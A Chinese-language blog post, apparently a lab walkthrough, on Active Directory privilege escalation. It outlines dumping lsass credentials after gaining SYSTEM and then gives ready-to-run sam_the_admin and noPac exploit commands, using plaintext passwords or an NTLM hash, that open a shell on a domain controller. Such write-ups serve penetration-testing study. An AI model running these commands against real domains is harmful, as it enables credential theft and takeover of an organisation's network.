因为即使是域内的主机,不是使用的 域内的相关用户 登录的域主机的话,那么即使当前的主机是 域内主机 有 域内网卡,但是无法使用,不能与 DC 进行相关的通信,不能与 域 产生相关的任何交集。
但是没事,我们的思路还是一样的,获取到当前 域内主机 的 本地SYSTEM 权限,然后 logonpasswords 来 读取 lsass.exe 进程的内存当中存储的相关 域用户 的凭证,用于我们后续 伪造票据。
判断我们是不是在 域环境 当中,最简单的其实就是:
net config workstation
1. 本地提权,提权到 SYSTEM 权限。
2. logonpasswords 获取 域内用户 的凭证。
3. 通过我们获取的 域内用户 的相关凭证,实现内网横移,肯定需要先进入到域环境当中。因为我们需要的是 域的权限提升,接管域控、接管域。而且伪造票据需要与域控交互,域控的 krbtgt 用户服务。kerbors。
4. 伪造票据。



2、获取DC的Shell
1. sam-the-admin
明文密码:
proxychains4 -q python sam_the_admin.py "域简称/域内用户:域内用户明文密码" -dc-ip 域控主机IP -shell
"qiaoshen/bob:1qaz@PASS": "域简称/域内用户:域内用户明文密码"
-dc-ip 10.10.10.10: 指定 域控主机 IP
Hash:
python sam_the_admin.py -hashes :<NTLM_HASH> qiaoshen/[email protected] -dc-ip 10.10.10.10 -shell
-hashes 和冒号之间 没有空格。
冒号前面是 LM 哈希(空),后面是 NT 哈希。
此时:
proxychains4 -q python3 sam_the_admin.py "qiaoshen/bob:1qaz@PASS" -dc-ip 10.10.10.10 -shell
proxychains4 -q python3 sam_the_admin.py -hashes :80dcbd32a87090cddae337f85a400a79 qiaoshen/[email protected] -dc-ip 10.10.10.10 -shell


- 成功案例

2. noPac
proxychains -q python noPac.py -use-ldap qiaoshen.local/bob:1qaz@PASS -dc-ip 10.10.10.10 -shell
"qiaoshen.local/bob:1qaz@PASS": "域/域内用户:域内用户明文密码"
-dc-ip 10.10.10.10: 指定 域控主机 IP
此时:
proxychains -q python noPac.py -use-ldap qiaoshen.local/bob:1qaz@PASS -dc-ip 10.10.10.10 -shell


- 成功案例

本文链接:
/archives/yu-ti-quan
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
QiaoShen-World!
喜欢就支持一下吧